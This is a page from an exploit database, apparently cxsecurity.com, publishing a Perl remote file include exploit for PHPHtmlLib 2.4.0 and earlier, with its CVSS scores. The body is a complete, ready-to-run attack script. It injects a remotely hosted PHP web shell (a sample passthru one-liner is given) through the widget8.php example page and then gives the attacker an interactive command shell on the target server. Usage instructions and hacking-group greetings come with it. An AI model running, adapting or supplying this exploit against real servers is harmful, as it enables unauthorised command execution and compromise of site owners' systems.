PHPHtmlLib <= 2.4.0 Remote File Include Exploit

2007.05.12
Credit: ilkerkandemir
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl use LWP::UserAgent; #/* #+************************************************************** #- AYYILDIZ TEAM // AYYILDIZ.ORG #+ #+************************************************************** #+ #- PHPHtmlLib <= 2.4.0 Remote File Include Exploit #+ #+************************************************************** #+ #- [Script name: PHPHtmlLib 2.4.0 #- [Script site: http://phphtmllib.newsblob.com/downloads/files/phphtmllib-2.4.0.tgz #+ #+************************************************************** #+ #- Coded by iLker Kandemir #+ #- Contact: ilkerkandemir<at>mynet<dot>com #- #- info: */ Siz Yokken AYYILDIZ Vardi */ #+ #+************************************************************** #+ #- tnx: h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann And AYYILDIZ.ORG #- #- h0tturk.com, expw0rm.com, turkistiklal.com, evilc0der.com #! #+ #+************************************************************** # usage: # perl exploit.pl <PHP Locaction> <shell location> <shell cmd> # # perl exploit.pl http://site.com/[PHP_Path]/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # # cmd shell variable: ($_GET[cmd]); # $ayt = $ARGV[0]; $aytcmd = $ARGV[1]; $kumanda = $ARGV[2]; if($ayt!~/http:\/\// || $aytcmd!~/http:\/\// || !$kumanda){usage()} head(); while() { print "[shell] \$"; while(<STDIN>) { $cmd=$_; chomp($cmd); $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET=>$ayt. '/examples/widget8.php?phphtmllib='.$aytcmd.'?&'.$kumanda.'='.$cmd)or die "\nCouldNot connect\n"; $res = $xpl->request($req); $return = $res->content; $return =~ tr/[\n]/[?]/; if (!$cmd) {print "\nEnter a Command\n\n"; $return ="";} elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot executea blank command in <b>/) {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit} elsif ($return =~/^<br.\/>.<b>Warning/) {print "\nInvalid Command\n\n"} if($return =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/) { $finreturn = $1; $finreturn=~ tr/[?]/[\n]/; print "\r\n$finreturn\n\r"; last; } else {print "[shell] \$";}}}last; sub head() { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"; print "+ AYYILDIZ TEAM // AYYILDIZ.ORG +\n"; print "+ PHPHtmlLib <= Remote File Include Exploit +\n"; print "+ AYYILDIZ.ORG +\n"; print "+ iLker Kandemir [ O Bir Dunya Markasi ] +\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"; } sub usage() { head(); print " Usage: perl exploit.pl <PHP Locaction> <shell location> <shell cmd>\r\n\n"; print " <PPHP Locaction> - Full path to PHP ex: http://www.xxx-site.com/examples\r\n"; print " <shell location> - Path to cmd Shell e.g http://www.xxx-host.com/cmd.txt\r\n"; print " <shell cmd> - Command variable used in php shell \r\n"; print " ======================================================================== ====\r\n"; print " by: iLker Kandemir \r\n"; print " ilkerkandemir (at) mynet (dot) com [email concealed] \r\n"; print " Thnx:h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann \r\n"; print " ======================================================================== ====\r\n"; exit();


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top